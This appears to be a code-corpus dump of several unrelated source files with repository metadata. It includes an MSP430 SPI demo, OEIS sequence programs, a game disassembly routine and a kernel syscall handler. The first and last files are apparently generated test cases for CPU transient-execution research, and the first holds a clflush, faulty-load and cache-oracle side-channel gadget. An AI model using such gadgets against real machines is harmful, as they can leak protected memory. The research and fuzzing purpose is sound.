] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1873.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1873.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1ac24, %rsi
lea addresses_WC_ht+0x1bf84, %rdi
nop
nop
nop
nop
nop
inc %rbp
mov $10, %rcx
rep movsb
nop
nop
and %r12, %r12
lea addresses_A_ht+0x1cd24, %r15
nop
nop
nop
nop
nop
cmp %r12, %r12
mov $0x6162636465666768, %rbp
movq %rbp, (%r15)
xor %r15, %r15
lea addresses_D_ht+0xeb24, %rsi
lea addresses_normal_ht+0x98a4, %rdi
nop
nop
nop
nop
sub $21840, %r13
mov $58, %rcx
rep movsq
add $3940, %rcx
lea addresses_UC_ht+0x4624, %rdi
sub $53478, %r12
mov (%rdi), %r13d
nop
nop
nop
add %r15, %r15
lea addresses_normal_ht+0xe7a4, %rsi
nop
nop
nop
nop
nop
inc %r12
vmovups (%rsi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
and %r12, %r12
lea addresses_normal_ht+0xa24, %rdi
nop
nop
xor %rbp, %rbp
mov (%rdi), %r12
nop
nop
nop
nop
cmp %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rsi
// Store
lea addresses_RW+0x4204, %r8
nop
nop
nop
cmp $64469, %r15
movw $0x5152, (%r8)
cmp $36555, %rsi
// Store
mov $0x724, %r8
sub $29407, %rax
mov $0x5152535455565758, %r15
movq %r15, %xmm6
movups %xmm6, (%r8)
nop
nop
nop
add %r14, %r14
// Store
lea addresses_US+0x10ca8, %rax
nop
nop
nop
nop
nop
xor $45434, %r12
mov $0x5152535455565758, %r15
movq %r15, %xmm5
movups %xmm5, (%rax)
nop
nop
nop
dec %rax
// Load
mov $0x23a85400000001a4, %r14
dec %rcx
movaps (%r14), %xmm3
vpextrq $0, %xmm3, %r8
nop
nop
nop
nop
nop
sub $12185, %r14
// Faulty Load
lea addresses_normal+0xae24, %r14
clflush (%r14)
nop
add %rsi, %rsi
mov (%r14), %rcx
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rsi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 36.268156 | 2,999 | 0.656808 |
4eb7dde95a6cdb816551028f287cdbaac696cc57 | 3,845 | asm | Assembly | apps/breakfast/pde_fw/toast/examples/Assembly (CCE)/msp430x24x_uscib1_spi_10.asm | tp-freeforall/breakfast | 0399619cdb7a81b3c3cc4c5a1b7d69f5c32b8c65 | [
"BSD-3-Clause"
] | 1 | 2020-05-15T18:08:48.000Z | 2020-05-15T18:08:48.000Z | apps/breakfast/toast/msp430-code-examples/Assembly (CCE)/msp430x24x_uscib1_spi_10.asm | tp-freeforall/breakfast | 0399619cdb7a81b3c3cc4c5a1b7d69f5c32b8c65 | [
"BSD-3-Clause"
] | null | null | null | apps/breakfast/toast/msp430-code-examples/Assembly (CCE)/msp430x24x_uscib1_spi_10.asm | tp-freeforall/breakfast | 0399619cdb7a81b3c3cc4c5a1b7d69f5c32b8c65 | [
"BSD-3-Clause"
] | null | null | null | ;*******************************************************************************
; msp430x24x Demo - USCI_B1, SPI 3-Wire Slave Data Echo
;
; Description: SPI slave talks to SPI master using 3-wire mode. Data received
; from master is echoed back. USCI RX ISR is used to handle communication,
; CPU normally in LPM4. Prior to initial data exchange, master pulses
; slaves RST for complete reset.
; ACLK = n/a, MCLK = SMCLK = DCO ~ 1048kHz
;
; Use with SPI Master Incremented Data code example. If the slave is in
; debug mode, the reset signal from the master will conflict with slave's
; JTAG; to work around, control the
; the Master device with CCE. If breakpoints are inserted in Master slave
; must stop also.
;
; MSP430F249
; -----------------
; /|\| XIN|-
; | | |
; Master---|-|RST XOUT|-
; | |
; | P5.1|-> Data Out (UCB1SIMO)
; | |
; | P5.2|<- Data In (UCB1SOMI)
; | |
; | P5.3|-> Serial Clock Out (UCB1CLK)
;
; JL Bile
; Texas Instruments Inc.
; May 2008
; Built Code Composer Essentials: v3 FET
;*******************************************************************************
.cdecls C,LIST, "msp430x24x.h"
MST_Data .equ R6
SLV_Data .equ R7
;-------------------------------------------------------------------------------
.text ;Program Start
;-------------------------------------------------------------------------------
RESET mov.w #0500h,SP ; Initialize stackpointers
StopWDT mov.w #WDTPW+WDTHOLD,&WDTCTL ; Stop watchdog timer
CheckCal cmp.b #0FFh,&CALBC1_1MHZ ; Calibration constants erased?
jeq Trap
cmp.b #0FFh,&CALDCO_1MHZ
jne Load
Trap jmp $ ; Trap CPU!!
Load mov.b &CALBC1_1MHZ,&BCSCTL1 ; Set DCO to 1MHz
mov.b &CALDCO_1MHZ,&DCOCTL ; ;
waitForMstr bit.b #BIT3,&P5IN ; If clock sig from mstr stays low,
jz waitForMstr ; it is not yet in SPI mode
;
SetupP3 bis.b #00Eh,&P5SEL ; P5.3,2,1 option select
SetupSPI mov.b #UCSWRST,&UCB1CTL1 ; **Put state machine in reset**
bis.b #UCCKPL+UCMSB+UCSYNC,&UCB1CTL0;3-pin, 8-bit SPI master
bic.b #UCSWRST,&UCB1CTL1 ; **Initialize USCI state machine**
bis.b #UCB1RXIE,&UC1IE ; Enable USCI_B1 RX interrupt
;
Mainloop bis.b #LPM3+GIE,SR ; Enter LPM3, enable interrupts
nop ; Required for debugger only
;
;-------------------------------------------------------------------------------
USCIB1RX_ISR; Test for valid RX and TX character
;-------------------------------------------------------------------------------
TX1 bit.b #UCB1TXIFG,&UC1IFG ; USCI_B1 TX buffer ready?
jz TX1 ;
mov.b &UCB1RXBUF,&UCB1TXBUF ;
reti
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".int17" ; USCI_B1 Rx Vector
.short USCIB1RX_ISR ;
.sect ".reset" ; POR, ext. Reset, Watchdog
.short RESET
.end
| 50.592105 | 91 | 0.394278 |
98f7e8a78b8a37ded937530e397d6c48efa44cae | 591 | asm | Assembly | oeis/142/A142471.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142471.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142471.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142471: a(0) = a(1) = 0; thereafter a(n) = a(n-1)*a(n-2) + 2.
; Submitted by Jon Maiga
; 0,0,2,2,6,14,86,1206,103718,125083910,12973452977382,1622770224612082123622,21052933202100473722674133293917606,34164073141115747076263787631563122725393126176374288934,719253949751584734557107590240637420950793871703709034551586253602703175485808985433572006,24572644546349531193843021109676007818470753782093163278232584173645807069886561716155081211955058500863191187549298620283374592024982249937981606
lpb $0
sub $0,1
mul $3,$1
add $2,$3
mov $3,$1
mov $1,$2
mov $2,2
lpe
mov $0,$1
| 42.214286 | 408 | 0.817259 |
92060ea3ff89ec3ae3341bcb7b4f598eae80da25 | 1,186 | asm | Assembly | engine/events/sweet_scent.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | engine/events/sweet_scent.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | engine/events/sweet_scent.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | SweetScentFromMenu:
ld hl, .SweetScent
call QueueScript
ld a, $1
ld [wFieldMoveSucceeded], a
ret
.SweetScent:
reloadmappart
special UpdateTimePals
callasm GetPartyNick
writetext UnknownText_0x50726
waitbutton
callasm SweetScentEncounter
iffalse SweetScentNothing
checkflag ENGINE_BUG_CONTEST_TIMER
iftrue .BugCatchingContest
randomwildmon
startbattle
reloadmapafterbattle
end
.BugCatchingContest:
farsjump BugCatchingContestBattleScript
SweetScentNothing:
writetext UnknownText_0x5072b
waitbutton
closetext
end
SweetScentEncounter:
farcall CanUseSweetScent
jr nc, .no_battle
ld hl, wStatusFlags2
bit STATUSFLAGS2_BUG_CONTEST_TIMER_F, [hl]
jr nz, .not_in_bug_contest
farcall GetMapEncounterRate
ld a, b
and a
jr z, .no_battle
farcall ChooseWildEncounter
jr nz, .no_battle
jr .start_battle
.not_in_bug_contest
farcall ChooseWildEncounter_BugContest
.start_battle
ld a, $1
ld [wScriptVar], a
ret
.no_battle
xor a
ld [wScriptVar], a
ld [wBattleType], a
ret
UnknownText_0x50726:
; used SWEET SCENT!
text_far UnknownText_0x1c0b03
text_end
UnknownText_0x5072b:
; Looks like there's nothing here…
text_far UnknownText_0x1c0b1a
text_end
| 17.188406 | 43 | 0.812816 |
4e2280a10c696add63d79b827d8c94fb0966594b | 321 | asm | Assembly | programs/oeis/317/A317657.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/317/A317657.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/317/A317657.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A317657: Numbers congruent to {15, 75, 95} mod 100.
; 15,75,95,115,175,195,215,275,295,315,375,395,415,475,495,515,575,595,615,675,695,715,775,795,815,875,895,915,975,995,1015,1075,1095,1115,1175,1195,1215,1275,1295,1315,1375,1395,1415,1475,1495,1515
mov $1,$0
add $0,2
div $0,3
mul $0,2
add $0,$1
mul $0,20
add $0,15
| 29.181818 | 198 | 0.700935 |
2a8c81566bdf33da171e591ac557dcb54508f56a | 520 | asm | Assembly | oeis/140/A140248.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/140/A140248.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/140/A140248.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A140248: Decimal expansion of 0.3 * sqrt(15).
; Submitted by Christian Krause
; 1,1,6,1,8,9,5,0,0,3,8,6,2,2,2,5,0,6,5,5,5,3,7,7,9,6,1,9,9,3,4,7,1,9,8,8,3,2,4,9,8,7,6,5,1,1,5,8,7,4,7,7,2,4,7,9,7,6,2,7,2,1,2,9,8,3,4,0,4,4,9,2,7,5,8,1,0,9,3,7,1,0,0,5,5,7,8,6,2,1,3,0,5,7,6,0,2,0,5,5
mov $3,$0
mul $3,3
lpb $3
mov $5,$6
add $6,$2
add $1,$6
mul $1,2
mov $2,51
add $2,$1
mul $1,2
sub $3,1
add $5,$2
add $6,$5
lpe
mov $1,$5
add $2,10
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
add $0,$4
mod $0,10
| 18.571429 | 201 | 0.528846 |
5c1d4a16c45ad7b6244bdd3c21182d6f41f86c9b | 38 | asm | Assembly | asminator/Debug/rawdatatest.asm | mgohde/MiniMicroII | 28351912580956551041fe00ebcbd320562a617e | [
"BSD-2-Clause"
] | null | null | null | asminator/Debug/rawdatatest.asm | mgohde/MiniMicroII | 28351912580956551041fe00ebcbd320562a617e | [
"BSD-2-Clause"
] | null | null | null | asminator/Debug/rawdatatest.asm | mgohde/MiniMicroII | 28351912580956551041fe00ebcbd320562a617e | [
"BSD-2-Clause"
] | null | null | null | >lbl1
. 1,2
>lbl2
nop #lbl1
nop #lbl2
| 6.333333 | 9 | 0.631579 |
d1cf33783b53db53530c3c576d3161436f7d8292 | 771 | asm | Assembly | oeis/177/A177728.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/177/A177728.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/177/A177728.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A177728: Expansion of (1 + 14*x) / ((1 - x)*(1 - 2*x)*(1 - 4*x)*(1 - 8*x)*(1 - 16*x)).
; Submitted by Christian Krause
; 1,45,1085,20925,366141,6120765,100080445,1618667325,26038501181,417737748285,6692790374205,107156587499325,1715081133346621,27445904805580605,439171333486530365,7027036201446788925,112434938199985606461,1798977883220621905725,28783797108521397636925,460541961555572465848125,7368681047456194405584701,117898974059888166630051645,1886384203363134221371821885,30182152201050380409073028925,482914474794731327181611585341,7726631913339116670795675586365,123626113146413244263044385853245
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
seq $0,28258 ; Expansion of 1/((1-2*x)*(1-4*x)(1-8*x)(1-16*x)).
div $1,2
add $1,$0
sub $2,1
lpe
mov $0,$1
| 48.1875 | 486 | 0.780804 |
124f18a6a6fc938a01851bf4a6b9346cf7003ec2 | 495 | asm | Assembly | programs/oeis/075/A075425.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/075/A075425.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/075/A075425.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A075425: Number of steps to reach 1 starting with n and iterating the map n ->rad(n)-1, where rad(n) is the squarefree kernel of n (A007947).
; 0,1,2,1,2,3,4,1,2,3,4,3,4,5,6,1,2,3,4,3,4,5,6,3,2,3,2,5,6,7,8,1,2,3,4,3,4,5,6,3,4,5,6,5,6,7,8,3,4,3,4,3,4,3,4,5,6,7,8,7,8,9,4,1,2,3,4,3,4,5,6,3,4,5,6,5,6,7,8,3,2,3,4,5,6,7,8,5,6,7,8,7,8,9,10,3,4,5,2,3
lpb $0
seq $0,7947 ; Largest squarefree number dividing n: the squarefree kernel of n, rad(n), radical of n.
sub $0,2
add $1,1
lpe
mov $0,$1
| 49.5 | 202 | 0.614141 |
9fc57a561faedfa510c1746a022ca6173f23f5c8 | 537 | asm | Assembly | oeis/263/A263790.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/263/A263790.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/263/A263790.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A263790: The number of length-n permutations avoiding the patterns 1234, 1324 and 2143.
; Submitted by Christian Krause
; 1,1,2,6,21,75,268,958,3425,12245,43778,156514,559565,2000543,7152292,25570698,91419729,326841561,1168515890,4177649198,14935828405,53398205443,190907947468,682529386598,2440162233937,8724007852045,31189857766034,111509210441322,398664979703373
lpb $0
sub $0,1
add $2,$4
add $2,$1
add $3,$1
mov $5,$1
add $1,$2
add $3,4
add $4,$3
mov $2,$4
sub $4,4
add $4,$5
lpe
mov $0,$1
div $0,4
add $0,1
| 25.571429 | 245 | 0.724395 |
a8b34ed1d9c798054ffa1c8d4e2ae300100fb020 | 434 | asm | Assembly | programs/oeis/109/A109474.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/109/A109474.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/109/A109474.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A109474: a(1)=1, a(2)=3; thereafter, a(n) = least positive integer > a(n-1) and not equal to a(i)+a(j)+a(k) for 1<=i<=j<=k<=n-1.
; 1,3,4,13,14,23,24,33,34,43,44,53,54,63,64,73,74,83,84,93,94,103,104,113,114,123,124,133,134,143,144,153,154,163,164,173,174,183,184,193,194,203,204,213,214,223,224,233,234,243,244,253,254,263,264,273,274,283,284
mov $1,1
mov $2,$0
lpb $0,1
sub $0,1
trn $0,1
add $2,2
mov $1,$2
add $2,6
lpe
| 33.384615 | 213 | 0.626728 |
4e83dc7ba6d0a1827ad1b150532f20b0b9332bea | 879 | asm | Assembly | oeis/268/A268093.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/268/A268093.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/268/A268093.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A268093: Number of 1 X n 0..2 arrays with every repeated value in every row not one larger and in every column one larger mod 3 than the previous repeated value, and upper left element zero.
; Submitted by Christian Krause
; 1,3,9,26,74,208,580,1608,4440,12224,33584,92128,252448,691200,1891392,5173376,14145920,38671360,105700096,288873984,789410304,2157092864,5894054912,16104392704,44001089536,120219353088,328457662464,897387585536,2451757604864,6698424598528,18300632842240,49998651752448,136599642931200,373198736850944,1019601054531584,2785608172699648,7610435634331648,20792121973800960,56805183935741952,155194749258039296,424000141265469440,1158390330802831360,3164782043648229376,8646346947925377024
mov $1,2
mov $2,1
mov $4,1
lpb $0
sub $0,1
mul $1,2
mov $3,$2
mul $2,2
add $3,$4
mov $4,$1
add $1,$3
lpe
mul $1,2
sub $1,4
div $1,4
add $1,1
mov $0,$1
| 39.954545 | 487 | 0.796359 |
0d6600b821a45d41d6f81b84143ed4561bc521f1 | 511 | asm | Assembly | kernel/cpu/syscall.asm | modscleo4/dos | 91a83f55be4065026404e488a9bff23b7d7a3353 | [
"Apache-2.0"
] | 11 | 2020-05-19T13:04:24.000Z | 2022-03-18T22:39:29.000Z | kernel/cpu/syscall.asm | modscleo4/dos | 91a83f55be4065026404e488a9bff23b7d7a3353 | [
"Apache-2.0"
] | null | null | null | kernel/cpu/syscall.asm | modscleo4/dos | 91a83f55be4065026404e488a9bff23b7d7a3353 | [
"Apache-2.0"
] | null | null | null | global syscall_handler
section .text
syscall_handler:
extern run_syscall
extern __syscall_ret
cli
push byte 1
push byte 0
pusha
push ds
push es
push fs
push gs
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
push esp
call run_syscall
add esp, 4
mov [__syscall_ret], eax
pop gs
pop fs
pop es
pop ds
popa
add esp, 8
mov eax, [__syscall_ret]
iret
| 12.463415 | 29 | 0.53229 |
58cec07b2fe76e576283b0915c6edfb81e2ad505 | 578 | asm | Assembly | libsrc/_DEVELOPMENT/EXAMPLES/z80/stdio/terminal/term_01_output_char/term_01_output_char_iterm_msg_bell.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/EXAMPLES/z80/stdio/terminal/term_01_output_char/term_01_output_char_iterm_msg_bell.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/EXAMPLES/z80/stdio/terminal/term_01_output_char/term_01_output_char_iterm_msg_bell.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC term_01_output_char_iterm_msg_bell
EXTERN l_ret
defc term_01_output_char_iterm_msg_bell = l_ret
; * ITERM_MSG_BELL (optional)
;
; can use: af, bc, de, hl
;
; The input terminal generates this message to
; indicate the edit buffer is either empty or full.
; The output terminal generates this message to
; indicate the output window is full and is being paused.
;
; Drivers that implement this message normally emit a short
; audible beep. The default implementation here simply returns.
| 27.52381 | 64 | 0.769896 |
4518e4f1fe1cbdb3c8d1fe78b6b182bcad5d849b | 7,944 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1533.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1533.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1533.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x124db, %rsi
lea addresses_WC_ht+0x1c597, %rdi
clflush (%rdi)
nop
nop
xor %r15, %r15
mov $80, %rcx
rep movsb
nop
nop
nop
nop
and %r8, %r8
lea addresses_WT_ht+0x1e297, %r14
